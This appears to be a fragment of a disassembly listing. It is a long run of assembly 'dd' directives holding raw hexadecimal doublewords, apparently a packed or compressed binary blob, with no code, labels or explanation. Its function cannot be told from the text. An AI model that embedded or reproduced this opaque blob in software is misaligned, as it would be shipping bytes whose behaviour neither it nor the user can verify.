		dd 66290EF4h, 2281982Ah, 80C7E224h, 0C4CA81AAh,	0EC7302C2h
		dd 714C30BDh, 65726F60h, 840F611Eh, 0AA085734h,	0C35EC356h
		dd 62FA8494h, 462018AAh, 0FA15C356h, 79CD0338h,	1B7D8D33h
		dd 0C485CD19h, 0E88506Dh, 22647301h, 0F995FF21h, 0C4C2500Fh
		dd 852AC60Ch, 441D8AD1h, 0A3804F68h, 65B5FF96h,	3730A001h
		dd 50CDF3Ah, 67D88BD0h,	4C12EC2Ch, 4A8A43A4h, 27DCD02h
		dd 20880811h, 0EB0D72EAh, 28FE1006h, 49A4F25Bh,	0C35F6157h
		dd 877C89C8h, 0C3574700h, 0C0DC726h, 8B9F17F4h,	54D00664h
		dd 0B6507DCh, 95C152FCh, 1883191Dh, 8531F960h, 103315C3h
		dd 84498A61h, 459D8903h, 8D0F0D1Bh, 0FF25816Bh,	8C52F24Ch
		dd 11C35A39h, 1A885489h, 0C3524280h, 408EFE2h, 4DD18ABCh
		dd 0A687C081h, 830E63B9h, 8C0F05F8h, 60E83343h,	0F24E0B0Bh
		dd 0C500D593h, 0A8DDE311h, 0F080AFD8h, 0C75F1C90h, 0AC255985h
		dd 81339E01h, 42D8E7C2h, 80868569h, 0BD89D747h,	0CD92086h
		dd 69E9CAB7h, 81006635h, 891CF0EAh, 0D12F998Dh,	73D4EF26h
		dd 0E9304622h, 0D2F20B0Ch, 0F93000DBh, 0F626A27Ah, 35643FE1h
		dd 9850AB7Ah, 590E5123h, 4C8945C3h, 0E41EB38h, 0F906C351h
		dd 7DC40503h, 26DCD414h, 0EE9188Bh, 6EFA8B29h, 61516AF5h
		dd 0B434C9C8h, 0D9C0FA20h, 58C8EE17h, 1C448567h, 0D18B3066h
		dd 0DB814720h, 8A178488h, 4006CD04h, 0D252C281h, 0E9140926h
		dd 419011A3h, 0D9832B09h, 168B0544h, 90FF38B1h,	794FB8h
		dd 6D37BE1Eh, 0C52D0A89h, 0B305F902h, 62A0B182h, 44C94735h
		dd 67936214h, 7FD4E4BCh, 887AD421h, 411A475h, 5F9B5738h
		dd 0CE92865Ah, 1C79CA40h, 0A23F6880h, 6BD24B5h,	192AE754h
		dd 0E98E81ACh, 0A200B857h, 795DA888h, 8266005Eh, 0DC4D84A6h
		dd 27E0CBECh, 52E8F524h, 69237240h, 385C3EA3h, 4D220802h
		dd 0C4035BAh, 5AD45AF8h, 1A21108Fh, 9D1A0748h, 49477630h
		dd 93611B44h, 0F0C0FCB8h, 2E08A112h, 0F87E0333h, 3E351AD7h
		dd 0D4803438h, 32BF8A0Ah, 290904E4h, 2A79BD8Bh,	54286153h
		dd 81050542h, 9A654D2h,	6F2044BDh, 13CD8D23h, 229D57A2h
		dd 8E901711h, 1909E986h, 0CE36E300h, 7310E141h,	5A676AC6h
		dd 99F81596h, 2928254Ch, 0A1A1803Ch, 8D44A40Ch,	1D5609Dh
		dd 81E47D35h, 196DA72Ch, 0DE88E8C5h, 5CE10755h,	0E08EE0B6h
		dd 49E927E4h, 5F07B500h, 0D7782D4Fh, 0D1801EF9h, 465054C7h
		dd 738C14B8h, 0B27091h,	9ABF665Fh, 19D781F6h, 4E5EB905h
		dd 0F78E016Ah, 0D9C71A88h, 5F51CE40h, 0FEF1229h, 578248Ah
		dd 4B17CDECh, 460201A2h, 88A16BDh, 70C16080h, 0CC003576h
		dd 8B10699Eh, 1FBB1DFh,	9FE42BFAh, 61FF683Bh, 0E95A20AFh
		dd 0A35C5509h, 59EA960Ch, 2F8A0216h, 71A188BAh,	0B836F913h
		dd 5BC74822h, 54772264h, 50F91309h, 1723F33Ah, 0FE0BBA1Fh
		dd 9D3C022Fh, 5E26081Fh, 0DE001B46h, 726135DDh,	6F58A28Dh
		dd 70422DFh, 2F78B966h,	0EA9E22Bh, 44B5F448h, 509152B1h
		dd 22C35887h, 1C314489h, 0C3504010h, 0F4089700h, 895C6220h
		dd 0F90135Bh, 835F348Ch, 6D762424h, 0EC893045h,	0F2312101h
		dd 0BEE91359h, 152D000Bh, 0F68451C5h, 30F111E7h, 0A506FB55h
		dd 8CE9392Bh, 70E3BB29h, 670146F0h, 0F27C7B0h, 40581487h
		dd 0CBB70085h, 0CFFFD56Dh, 5302BA7Bh, 1520FD24h, 0E706409Ah
		dd 5AFA485Bh, 146D4828h, 0AF2FD59Dh, 5C530C90h,	0B6607700h
		dd 0A4ED51CCh, 0B39E161Dh, 8D37DE40h, 90407695h, 43E0AB2h
		dd 179B2093h, 0ED353D9h, 9B155D06h, 33A60A88h, 5F5287C9h
		dd 3106A10h, 0B552EBDh,	666A7967h, 1A263533h, 1B8E7E64h
		dd 0C6C01C88h, 1A782Ah,	0AD982E30h, 0E9EFB18Dh,	60274565h
		dd 0F01D8733h, 3A654AA9h, 0AD07E1BBh, 13427B77h, 0DFBA6283h
		dd 0A9037A66h, 0F55F4DD9h, 5E9588A5h, 812A0059h, 0BCE59ACEh
		dd 0B6F4F171h, 61587812h, 0A9D9D164h, 291BB452h, 30ADDA02h
		dd 9E268745h, 29C4F160h, 0F4700D6h, 0FF502C0Dh,	58BF9BD0h
		dd 2803146Eh, 3C35D35Fh, 24A5843Bh, 0B53A44CFh,	921755E5h
		dd 3F6E2D30h, 0FC590078h, 0FA3B37CCh, 81148D6Bh, 53C36DCFh
		dd 3015A2CFh, 4F98832Ah, 6040D060h, 2818AB4h, 5CD45FE2h
		dd 524C614Fh, 2DC3E94h,	40679661h, 84845E0Bh, 6D622734h
		dd 26E4C70Eh, 0F30B0420h, 0F929C13h, 1CAB3388h,	80D68EADh
		dd 0D880CDC9h, 8B12E317h, 8A644F40h, 31F1AD05h,	0DA0C17DAh
		dd 0F8DAC51Eh, 28806822h, 4863890Fh, 4287FDE9h,	7535C0AEh
		dd 0B4009232h, 0CC46F76Bh, 14C80C1h, 45969FA9h,	23036AE2h
		dd 0EB670010h, 1E4990AEh, 4A81038Eh, 5F9783CDh,	6FC7630h
		dd 4B950352h, 593E06B5h, 0C07D3D68h, 8DE2A6C1h,	87475A64h
		dd 0F6084A8h, 2021898Fh, 84025DBh, 61EE058Ah, 422CA80h
		dd 11ACD86h, 0F883CE8Bh, 0B28385EAh, 433B8416h,	7D001723h
		dd 0FF7C13A1h, 922E7485h, 680D448Ah, 373B5207h,	450039E0h
		dd 13729BACh, 20E9AB6Fh, 0A486F649h, 44B2B11Dh,	101F6A42h
		dd 442625Fh, 0CC810228h, 423204ACh, 832A3510h, 235B243Bh
		dd 5D0E55C1h, 6C8944C3h, 45C028F2h, 4347C355h, 0C86A793Dh
		dd 0F5D31280h, 153ADB13h, 2A051623h, 0D406A9C2h, 209FE4CFh
		dd 0B6C91E8Eh, 62AAAD71h, 1688D44Eh, 0E2798BC1h, 41856620h
		dd 76C0E518h, 4EECF028h, 0F1312A8h, 30A8248Eh, 0EC294ACBh
		dd 93E82601h, 0EF9D430Bh, 0D8F89E2Ch, 2FD8E48Fh, 19A2A543h
		dd 0A9A3330h, 64B79848h, 14AD08CEh, 0BD0AFB24h,	6649AE23h
		dd 89F4F169h, 0C6C3961Bh, 0BE0A9E8h, 0DEC45000h, 66158FC8h
		dd 334118BAh, 0CA8BA259h, 4676F694h, 0DFA0001Dh, 0E762B7Ch
		dd 55AB037Bh, 398D031Ch, 62C4B79Ch, 92A5DA6h, 9F796D22h
		dd 44E97A61h, 3C42F855h, 8D39122Fh, 33492CDh, 0AD12580h
		dd 54178C13h, 0F3C29E9h, 4457D453h, 0E18C14E8h,	0CA932572h
		dd 0C614C819h, 0CE14B8BCh
		dd 85C61FE9h, 0E44159BDh, 959CB956h, 0B35A41DCh, 1E42BBF8h
		dd 33D0952Bh, 120B294h,	141802A1h, 886E8Ch, 8F6917AEh
		dd 0E6F6A5ACh, 6CD9F0Ah, 0F202BB53h, 0EC5A50C4h, 51A38116h
		dd 5669F75h, 20595A7Ah,	89FAC164h, 24949900h, 7A1668ACh
		dd 40379C49h, 8010D8F3h, 0D21EC502h, 0EC5F1F8Fh, 0BD013816h
		dd 8B0F0CC9h, 15C7C7FBh, 49FF8A0Fh, 3BBF7981h, 39E64641h
		dd 0EE20E684h, 50B7EC01h, 5A2696D7h, 0D1194174h, 2650AB43h
		dd 0D857F0BAh, 9787C64h, 0C98D31FDh, 16A8040h, 0DC07BCh
		dd 0B6C89F3Bh, 75950B64h, 90292B40h, 0AE29E781h, 0CDCD09CEh
		dd 40C00275h, 0E7B4DB2Ch, 0A92B1749h, 96901C35h, 3C593800h
		dd 4C8E303Ah, 89101A03h, 35BB7C0Bh, 1237F912h, 273B6260h
		dd 13A339C6h, 5C848782h, 0AFF110CBh, 88715500h,	3EF151h
		dd 82CC99D1h, 66BE3F04h, 22BD6102h, 465F53F0h, 80D391C7h
		dd 94BBA261h, 0C67B8C6Eh, 0D03AF424h, 81144059h, 3C8B5F49h
		dd 0A3380B2h, 81643Fh, 0BC42A540h, 0CA7F4104h, 93FF0912h
		dd 2606CD65h, 7E3B2AE9h, 5085960Fh, 0EC00B80Bh,	73DC5A87h
		dd 4CFF2D2h, 936EA5D4h,	0E9BD9831h, 1C00BFB9h, 887B356Fh
		dd 8BFC1350h, 0A0378AF8h, 0CA8E59h, 78F52872h, 6E95ACFh
		dd 756823C0h, 49D1A0F7h, 898AC38Bh, 2818109Ch, 2F9EF060h
		dd 10BB6681h, 0B4266116h, 0DDEF8101h, 2963208Fh, 8C18AC8Fh
		dd 84FA0A04h, 13C1D4A1h, 38080221h, 5112D08Ah, 52DA6481h
		dd 4048E153h, 659D2A31h, 14CA420h, 12BCAEBFh, 715BE906h
		dd 9D89FC74h, 4321494Eh, 553D7C91h, 3D3EC47Ah, 0B92AE42Dh
		dd 850D0C61h, 2A060631h, 4E30CA0h, 0B2C373E1h, 85A301Dh
		dd 52662100h, 0EE943B79h, 0B58D1342h, 813E4046h, 3E4BD5C7h
		dd 0D908D5BCh, 2501321h, 5A6D3765h, 26B0CCF8h, 0AD540F5Ah
		dd 33E938EDh, 84FDCCDDh, 40D0641Eh, 5C5D065Fh, 9415D200h
		dd 98594C10h, 8B3E17EEh, 90061CF3h, 0BD230B1Ch,	41B128EDh
		dd 6999634Ch, 0B8A3809Dh, 7E486A96h, 3DD629A2h,	0A32C292Ch
		dd 0F2D9477Eh, 79AE1DD9h, 51C4656h, 0C53ADBCCh,	90B9FC80h
		dd 9501092Ah, 61CB1CEDh, 7D8824BAh, 320108CFh, 2F64501Eh
		dd 9D11C23Eh, 81D82F1Bh, 53D08A34h, 98551ABBh, 0E58903F8h
		dd 0D26143FDh, 2A2006B0h, 0DE86DB7Ch, 0DA5CAB8h, 29690C44h
		dd 555E950Dh, 28B09426h, 29431D65h, 8F214BDh, 0BF807C2Ah
		dd 0F503A88h, 5C0918Eh,	0B4F5B529h, 10C460E3h, 5A1F0A2Dh
		dd 5C0C4220h, 2B511166h, 4A00287Dh, 1CE75EEEh, 669B012Fh
		dd 0FEEE3E64h, 0DE9E54h, 37036C3Eh, 687CAC98h, 0B1B418E0h
		dd 81AF919Ah, 2505BD2Eh, 229D9764h, 95120F1Dh, 8591016Dh
		dd 0C410AC9h, 0F922324Dh, 0C917D026h, 49FE1439h, 0A287237Dh
		dd 74D93316h, 0CDDC70F8h, 39901200h, 18408B5Ah,	64885C0Fh
		dd 0DBBA5280h, 5F4A7099h, 2E61F182h, 0F9571F11h, 205989ACh
		dd 8C3DF217h, 86425E54h, 6820901h, 0E9023071h, 807AC61Ah
		dd 15E58064h, 1F983D4Ch, 85046721h, 51E72FEDh, 95316003h
		dd 1A092E81h, 8F617DB4h, 0E1B5631Bh, 1AE6DC14h,	0CB112E49h
		dd 0C98A5183h, 0F00D26C0h, 145A253h, 227C8836h,	986071B1h
		dd 8B9121E8h, 11014DB5h, 7E536126h, 0F00BC623h,	0C0850BC6h
		dd 60D1BF0Fh, 3F821FB9h, 7986B72Ah, 0CE7F8029h,	0FC178BE8h
		dd 4ABF1206h, 0A1AA61BBh, 0F1A7D9FFh, 0C2468111h, 50CA5B12h
		dd 0B248420Bh, 0BF4A402Bh, 7F5E1A09h, 354A020Dh, 0BA023233h
		dd 0E9010CA9h, 5E2B010Bh, 2E517CADh, 0DC09EBEh,	66FBF88h
		dd 0E95E5759h, 512E372Ch, 730B6EF8h, 4DE809F1h,	296FC09Fh
		dd 6794B5BDh, 0F7815000h, 4AC9B7F8h, 942D47Ah, 5DD303C7h
		dd 0C81FDD51h, 0ADA174DDh, 76810408h, 903C1371h, 23422ED2h
		dd 0D62C0C15h, 2A40594Ah, 24127E9h, 1891741Dh, 78F00183h
		dd 0C0514A82h, 8E469900h, 0E838F9h, 9E680445h, 39DF43ADh
		dd 2E80757Dh, 8BEAD27Ah, 0C01DC891h, 7B8EF8CCh,	13872B00h
		dd 66AE45CAh, 509814BAh, 2626ABF9h, 89F893E3h, 3678889Fh
		dd 0BD243478h, 15402414h, 5509512h, 0E781801Fh,	19844AB2h
		dd 42346A7Fh, 509D5275h, 150D17C2h, 0A88A65C8h,	0BDB6751Fh
		dd 86206812h, 24F6DB8Ch, 1A8104C3h, 0D55E1902h,	52685660h
		dd 9CA823B8h, 0AB1C6AC5h, 64EEB92Ah, 0BE7281DFh, 402D2899h
		dd 0AC9B6847h, 318FECEEh, 48F08B04h, 680F4F1Eh,	702F2661h
		dd 0E51A9110h, 7D95610Ch, 286A1853h, 0C0851856h, 1757553h
		dd 64986841h, 2A5ADB87h, 2CB2D064h, 0A4681C4Ch,	208095E7h
		dd 999D8BA0h, 45BF18Bh,	0AB9EBE74h, 15618554h, 5D3A03C7h
		dd 0C4386A8h, 26C20F02h, 9D31931h, 622ACE84h, 5302AD6Ah
		dd 5CB5340Ch, 6DD03095h, 976845A0h, 92A5F710h, 9943B938h
		dd 0CAB0267h, 32750A2Eh, 0A3C06D66h, 32524EA1h,	0B399CA0Ch
		dd 0F6A14879h, 190C827h, 99585610h, 12930005h, 0F08CA09Ch
		dd 468E009Dh, 6E5E50E5h, 42CA8976h, 4F097125h, 0CED669B1h
		dd 56F2Eh, 1C83A408h, 8A88DF0h,	35FF64E8h, 798A3EB8h, 84BA894Ah
		dd 0BC56B92Eh, 7655F617h, 202804BFh, 0C13FB696h, 732425F9h
		dd 0BD892DCBh, 5B99324h, 8817F94Eh, 0C0AA5553h,	145AA469h
		dd 290CFAF3h, 8027B59Dh, 0BBB2BD39h, 974144DBh,	18111C1Fh
		dd 6012EF80h, 1095357Bh, 1D822202h, 54680Ah, 0D95E153Ch
		dd 56166B64h, 3704595Ah, 105E3339h, 11B51E01h, 0E88BDB94h
		dd 5D008C16h, 0C0330A46h, 30F580h, 73F0F40h, 58F640Bh
		dd 0C48310E1h, 59229804h, 2F4BA3ADh, 1C23E5h, 0BDACE78Bh
		dd 6F13E55Fh, 8A8363E4h, 0FB83896Ah, 4584B970h,	0D985482Eh
		dd 0B0AD67E1h, 250D514h, 0BD8BF82Eh, 0A1A61CF5h, 83F7274Bh
		dd 81C70C3Eh, 0FF1533A4h, 0B8D38303h, 94041528h, 37ECC4D0h
		dd 8208FE0Ch, 71ED815Dh, 838BBA48h, 0DE96B858h,	0C44B251h
		dd 0B4FC15Dh, 790D8D95h, 0C0D926CEh, 0B4516766h, 0FE973841h
		dd 0AA0F3050h, 4B00B99Ah, 1DA68D4Eh, 4B7BCC3h, 0ECE253F8h
		dd 81D69C91h, 9A13F104h, 0DA9D78BBh, 92BDB5D8h,	40B94A2Ch
		dd 0D704B893h, 52E4855h, 0D00FA64h, 85D465BBh, 40BA0C86h
		dd 0EA5834B6h, 0C5FE833h, 68FBB8EDh, 564D0958h,	0ED820A75h
		dd 0AC7E23A1h, 4B732D6Ah, 0E42134FBh, 264A1109h, 427C2C6Ah
		dd 9C91004h, 875E7088h,	25110820h, 99FEACCCh, 181AD17Bh
		dd 75070E7Bh, 2AC378Ch,	56FBE9B8h, 31E07F93h, 0B8392E39h
		dd 0E0015630h, 637845h,	69747065h, 49206E6Fh, 72EC66E6h
		dd 0C616D28h, 6C3C50E0h, 8873B965h, 1E63202Ch, 0F1F37A74h
		dd 0E3F768D5h, 0E366E373h, 3E72EB77h, 763F6412h, 70BC6C3Eh
		dd 34737BFBh, 59346977h, 0B16C761Dh, 676E1C26h,	734067B1h
		dd 7154DD2Eh, 0F56BF593h, 0EC75F579h, 4DF0D0Ah,	288C01E9h
		dd 0C0738070h, 5254436Eh, 0FFEB2B4Ch, 6978EB65h, 645B461Eh
		dd 0C518747Ah, 4779707Bh, 97696C08h, 64DAFC62h,	3362951h
		dd 0DF425642h, 3D7F7FA6h, 1ECC2579h, 1563E843h,	0F4E496Bh
		dd 4F846423h, 50705455h, 44FF6F72h, 0A30F2D1Dh,	0F3200F3Bh
		dd 3D43B683h, 0B71E900Fh, 8E1A5095h, 841E3B18h,	0C6339392h
		dd 12D25C6h, 232805A2h,	92424BDCh, 0D8A52B22h, 0B154E180h
		dd 0B2992427h, 8BA31952h, 28AA1307h, 0B024A616h, 2328219Ch
		dd 7310A117h
		dd 1CA7A225h, 0B3B2B846h, 2305231Ch, 230EBB51h,	0EB75923h
		dd 0AB590C23h, 5914230Eh, 1B210EAFh, 90C3052h, 0A2E98002h
		dd 0BD040CB1h, 3A8C2FF1h, 550DA895h, 85228432h,	2091B011h
		dd 81092E4Dh, 531CF8C2h, 958D0B41h, 523017C4h, 0C3402834h
		dd 893B3FD4h, 261ADD96h, 40890C38h, 9D8B1155h, 4CC31351h
		dd 65532C78h, 50211146h, 54F2A710h, 210FB311h, 0F2B71058h
		dd 15AB115Ch, 0DF5DC29h, 6822AF5Ah, 0B2BBCD80h,	0A4AFB28Bh
		dd 0B732AB06h, 0A70CB319h, 42A34586h, 1C4C9D0Ah, 0B07D552h
		dd 0D1D32139h, 6A246165h, 0BF249440h, 18E7B419h, 61015F78h
		dd 79E8C1AAh, 823301A5h, 97EF7731h, 2753D9F0h, 4A10880Fh
		dd 58005FF8h, 8EBE6660h, 7DA80A9h, 0C0816107h, 68A0495Eh
		dd 0FB905C6h, 38995417h, 4C2EAD06h, 40DB940Ch, 6C567D1Ch
		dd 0B11ADB00h, 85CCCA28h, 96AE0019h, 13181606h,	3001FFE5h
		dd 0B256BA66h, 433EE85Eh, 0E6A1A6E4h, 5CFD9087h, 0C400BA72h
		dd 0B2C0D6F8h, 0E6CF8B60h, 25AE261h, 0B42BEE81h, 7CD90BE7h
		dd 74CB600h, 39819F0Ch,	0C1162CF6h, 0BA43CC77h,	965BD0Ch
		dd 0F6425Dh, 667B0BCBh,	5661B9BFh, 8928019Fh, 18208F14h
		dd 800106E8h, 248D3DBh,	0D95A7DB0h, 0BB0724AEh,	53765BF2h
		dd 0D816AB89h, 513C90E9h, 993D1E9Ah, 524080C3h,	0E9D6EA80h
		dd 0FB99477h, 5F00F179h, 0DD025D44h, 5169B100h,	55A553E0h
		dd 59D39F5h, 1F151D1Dh,	0A8F8C0F2h, 0A97F8E2Dh,	97B5BA0Ch
		dd 0C0F30841h, 2D90D521h, 540CEF75h, 1818BB57h,	0EA320034h
		dd 809A20E4h, 10F66433h, 93B1DA03h, 0B0F06CFEh,	0BA1D5Ch
		dd 81C77118h, 0ED2ED8C5h, 58010930h, 9DB827Fh, 62FC45C9h
		dd 55D5D00h, 102619BAh,	0CA063486h, 3920DAB3h, 5379A5F1h
		dd 10C4209Dh, 16676061h, 0B1C264F8h, 0B37AC0CEh, 5E004E3Ch
		dd 43AB9FB2h, 0A48B2Bh,	2FD326A5h, 0B1D8EB9h, 61CEF9C0h
		dd 8FD2E4h, 5FFC6E04h, 0A5C2C301h, 32EEAD00h, 9485A46Ah
		dd 8EC53E7Dh, 0F1FB8300h, 6F5418B1h, 8A79B56Fh,	63900C8Bh
		dd 0BBE0948Ch, 0F2C2D544h, 28EE6157h, 0B6E71Eh,	7D9BA2h
		dd 394187ECh, 2086EE77h, 6580F2E0h, 0ACF60385h,	14D9927Eh
		dd 8309AF3h, 9D40494Dh,	0B84414F6h, 0A500EAE3h,	642A136Fh
		dd 0C7003006h, 0B90E3154h, 23478A6h, 9BADCF22h,	0E480BC11h
		dd 0B72A8209h, 0B57888C1h, 59BC1DC5h, 558ED200h, 0F49157A8h
		dd 796F0119h, 2180CB08h, 235586ADh, 40483E02h, 16301110h
		dd 29D35866h, 0B83CE129h, 5554B805h, 88979023h,	18FD2DBDh
		dd 897F1EB6h, 0F3FC3634h, 19DEAD00h, 9D0C6F9Bh,	50640908h
		dd 7C75Ch, 98A0349Eh, 2D08A770h, 0C4917F8Fh, 0C7D64FEFh
		dd 88403F2Dh, 2350F81h,	0A656F886h, 0E0868279h,	1D30F968h
		dd 0F964B9DFh, 891017Bh, 22D255B9h, 4F246033h, 8547F300h
		dd 0F790A24h, 0C88F0CCFh, 2339D91Eh, 57164D0Fh,	697F23F6h
		dd 526022BAh, 406D543Ch, 0FE1C30F2h, 0C73C08A1h, 47352900h
		dd 0BAAEEEB3h, 0D2B2327Ah, 0C411821h, 8871884h,	0A27EAEF6h
		dd 9F4670h, 68896BF6h, 6154068Ch, 1BCB853h, 0B4776A0Eh
		dd 0B9A8BB7Eh, 3D4701F8h, 1EAB102Eh, 0A41980D7h, 1545E198h
		dd 0D69C09C9h, 3084F955h, 2DA46089h, 0A77F7B92h, 8CC100C0h
		dd 6A8A172Dh, 1EF0657Ah, 8761DC60h, 0B87C85D9h,	0F8170F5Dh
		dd 90849BEEh, 0D11488F6h, 85C0AD00h, 0DA61AC3Ch, 8D46634h
		dd 760321CDh, 0AA41C0C5h, 48EE002Dh, 9AFDA013h,	0E0A7D4Eh
		dd 0F05C7FC2h, 440D844h, 0E514F047h, 4FF64907h,	0B1BC1C8Bh
		dd 0BE790043h, 1DD59011h, 0F800DE1Eh, 26BFFC8Dh, 123FC808h
		dd 893A547h, 8EC09F44h,	4C7F8C2Dh, 0D7E0B499h, 14142D96h
		dd 0D4C8A198h, 0EE851198h, 13F96D01h, 82B76054h, 581C3B21h
		dd 2A20602Eh, 0E3C9C8EFh, 9C488D80h, 0ACF465h, 449FDD8Bh
		dd 0BAF7F897h, 830B41C3h, 0C59A80FCh, 9F8F3EA7h, 1B08B2Bh
		dd 3C90C0BAh, 88CC18A4h, 0C000B277h, 0ABE217B3h, 0A21C64h
		dd 0FA6E1F86h, 0A84D33DAh, 3106FC90h, 0B427113Bh, 349B5239h
		dd 0FA30C9B2h, 577100C6h, 87423575h, 0B4A119F1h, 8A3188Ch
		dd 717F932Dh, 0B95404C4h, 67042D3Bh, 833E89D3h,	95A1DE1Ch
		dd 7C422ADh, 3177528h, 0B5C63C27h, 6D801F19h, 0B34830EDh
		dd 2E1330B9h, 382F9DF6h, 2A00FB23h, 0AB7E46E9h,	0CFE6050Ch
		dd 5CEDB5F0h, 0AE01E3C0h, 0C43C84C0h, 73807023h, 0A787C0C6h
		dd 1F00C2EAh, 0AE63D4EBh, 10B979Bh, 0C57CFD6Bh,	67950F6Eh
		dd 0BC17B1D4h, 688DA808h, 38074720h, 467494CAh,	3D0372FBh
		dd 0B9866D5Eh, 0AB90B7C8h, 24701885h, 4B987E09h, 1F517800h
		dd 1C28F756h, 0F2520C4Dh, 0BDF7B004h, 9110C516h, 0D590C17Dh
		dd 0AA104120h, 0C83DDC6Fh, 0BFB7D0C5h, 1B1FAC06h, 8FA50C21h
		dd 0AA48FFF7h, 0FCB004F0h, 8D628C8h, 8C7CF1EBh,	0F638C350h
		dd 2102ED1Eh, 4CB62BD8h, 22144028h, 0B2022E05h,	39D61828h
		dd 41C7CBFAh, 0E2864234h, 2B481818h, 82C239BAh,	54611E61h
		dd 5FC409CEh, 0B8020506h, 83852DA6h, 1591162Ah,	4E3C3457h
		dd 0FC0EACAAh, 7D81E4B4h, 40CF1382h, 0FECD5BFCh, 38E2280Ch
		dd 0B1E012h, 0B2868DACh, 1C2D6103h, 0C7194967h,	87D96B43h
		dd 0F3704C81h, 1F815820h, 960609h, 0F56D8D1Ah, 555C90EBh
		dd 78590140h, 7909B03Ch, 84FF0880h, 0BABD7C9Bh,	0C5FEB607h
		dd 4CBA35E1h, 0B4801BE4h, 52B8F18Dh, 0C82AE0F4h, 9E9037A8h
		dd 166F5348h, 4405F020h, 0EC48C82Dh, 3B388234h,	82A44067h
		dd 0ED42E4Dh, 1E81074h,	0C3381A04h, 0BC321CFFh,	1D6C886Ah
		dd 0EECD06B9h, 573A18C1h, 6055374Dh, 253FDECEh,	0BC0C211Fh
		dd 0A472785Bh, 89004449h, 0D5DB04ADh, 4E511E55h, 358FE0F8h
		dd 0F805DA32h, 0E64D20E7h, 92586F29h, 176416BEh, 36C15E18h
		dd 0FF40033Fh, 1655E72Ch, 0FFD5F88h, 6935E230h,	0EC57BEB1h
		dd 228324C2h, 1C588C10h, 808A2A10h, 117D8710h, 8E3E018Ah
		dd 1EF1BCFDh, 0B7218406h, 2C81726Eh, 7424AB5Bh,	0BCAE5491h
		dd 889600C5h, 53058E6h,	79CF081Ch, 406005Ch, 0C2D8645h
		dd 0A93BADF1h, 1E0110B0h, 0E1BEFD7Ch, 20252038h, 8C24C1E6h
		dd 8E0C70h, 0A4AC76EEh,	0F706682Bh, 75DC344h, 0F6B4C0E6h
		dd 0BE359346h, 625A54A1h, 1C7B2450h, 5921388Ch,	0C388A3FCh
		dd 0B6110139h, 304178C0h, 949C20DDh, 12D45E53h,	0A8104D5Dh
		dd 0C605628h, 21615BD4h, 0E1830540h, 84010E25h,	3C0C0198h
		dd 50CE1ED0h, 473863D0h, 305048h, 0B8A6457Dh, 4C98F0F1h
		dd 3A08B04Eh, 14212CEEh, 833CB282h, 5B3081DDh, 0C1174CF4h
		dd 0F006CB4Ah, 38B25A1Eh, 443EA003h, 80A755A5h,	1C164D8h
		dd 7814AF50h, 83DA1E5Fh, 0E8B7F291h, 0C1FDC8FBh, 24E97348h
		dd 899CF696h, 688884A6h, 0C2105E28h, 8BE8E0B7h,	0E5869F06h
		dd 0A595628h, 501FC194h, 0B2B980C0h, 0D48109E0h, 490361DFh
		dd 0D8BC50E4h, 91D6C057h, 0C023901Ch, 0A7BA8C85h, 18BD282Ch
		dd 5A692198h, 32E2B608h, 0E6189118h, 394384EFh,	13EC8E10h
		dd 0E028D6F8h, 118D601Ch, 0B4E18FB8h, 0F061BC00h, 0BABF958Eh
		dd 92833D3Eh, 3A0B2C50h, 0C4FC29FBh, 97B556F0h,	9BFE8090h
		dd 0C0C7F55h, 8118637Eh, 8A5B2236h, 9440492h, 0EE7703B8h
		dd 0BE4E72B2h, 0F7A62009h, 9AC821F8h, 0F3D06F7Fh, 0AC554C49h
		dd 9FFF387Fh, 57A71401h
		dd 60C33738h, 0B2127D78h, 3C00F2FBh, 9B08032Eh,	16A72C57h
		dd 64442044h, 0C1935197h, 0B9F30FBCh, 73400630h, 980B9B6h
		dd 0EE104B7Eh, 0C33C6C87h, 1824AA8Ah, 0E418FE04h, 2082F718h
		dd 9006C716h, 0B6C00D76h, 0A25229D0h, 0CE6A8CC0h, 473CB230h
		dd 0E8CC1A7Eh, 28B48210h, 88180C26h, 521EEF40h,	446CCF8h
		dd 345E1EE1h, 3951F7ECh, 1099F0B8h, 2094C651h, 0AF0512E0h
		dd 0F6E39D18h, 0B4DD801Ch, 9CF20701h, 299DC249h, 912222EBh
		dd 2D2020FBh, 27EFCE00h, 8D7948BBh, 14F038h, 7049BA0Ch
		dd 2CD398Ch, 97BC0E00h,	4E2E8B45h, 87110035h, 138DA1CAh
		dd 1200344Fh, 8FB5CE93h, 4B64C6h, 0FAE76878h, 0F2BC46C7h
		dd 44BD1E00h, 0CF0901EDh, 369E00D0h, 3552843Ah,	0AF3D8670h
		dd 0AB780D4h, 0B9DB58F4h, 4E8300B4h, 4CCF05F9h,	0EC009036h
		dd 69BA8495h, 80FE9h, 0BEF8D9EFh, 0E1BD4A9Ch, 3CDF3412h
		dd 0B93ED440h, 0E0A86C49h, 89100C9h, 520298A0h,	100E7680h
		dd 604C9E1Fh, 1ABB87D4h, 0DC890057h, 0D1A8933Ah, 370055E6h
		dd 0A51BCE08h, 1134BDBh, 6BAC2C0Ah, 0C8F7541Dh,	3D1E5550h
		dd 38801727h, 0F2FA78Ah, 1F1102B9h, 8846DA97h, 0D5BEE4A1h
		dd 0FC5560CDh, 0CE43E74h, 0E5F12300h, 941AF27h,	4DC100DBh
		dd 8BFB0313h, 5605B786h, 721C7FCCh, 762FDC00h, 0D49952h
		dd 24A00F62h, 0A26C8326h, 8FD7B604h, 3D807CB4h,	7DF38B53h
		dd 0E62576A8h, 31F70413h, 80941406h, 0A036E8B7h, 5FD6F607h
		dd 34103991h, 0A508FBFh, 0ECAE5680h, 32003AD0h,	0C6DE5E6Fh
		dd 25006847h, 0D955D184h, 0E96E0F4h, 6C6E622Ch,	0CC853E60h
		dd 100F9F5Fh, 0C0191DE4h, 0F0E82733h, 0B7781CE6h, 0AD4DCEF3h
		dd 0FDE0F720h, 4F000926h, 0F99A3068h, 0F4DCF340h, 289E2433h
		dd 0CD5300D0h, 0C7DD3E59h, 4C2ED000h, 0FDE91832h, 0B34700DCh
		dd 0A28B4F55h, 7600C691h, 0EB4A0799h, 7C7D75D5h, 0CD7B0724h
		dd 3009D22Ah, 0EDE15E48h, 59779100h, 0B6EC03CBh, 6B7451h
		dd 0A4BC01BAh, 0E0FEC85Dh, 1387D600h, 0F4F96A24h, 7F23003Ch
		dd 192D8AF5h, 0E6F075C5h, 3EB29E00h, 6FD8BA8Fh,	0BC143C64h
		dd 0AF12100h, 3351BF53h, 313C7073h, 0A41B3DB0h,	3C80E48Ch
		dd 8A65DF44h, 917E0038h, 6B4F435Fh, 88F62767h, 539F1C00h
		dd 6436D8BDh, 0A3E700C4h, 6397354Dh, 1D03B883h,	2D4B0791h
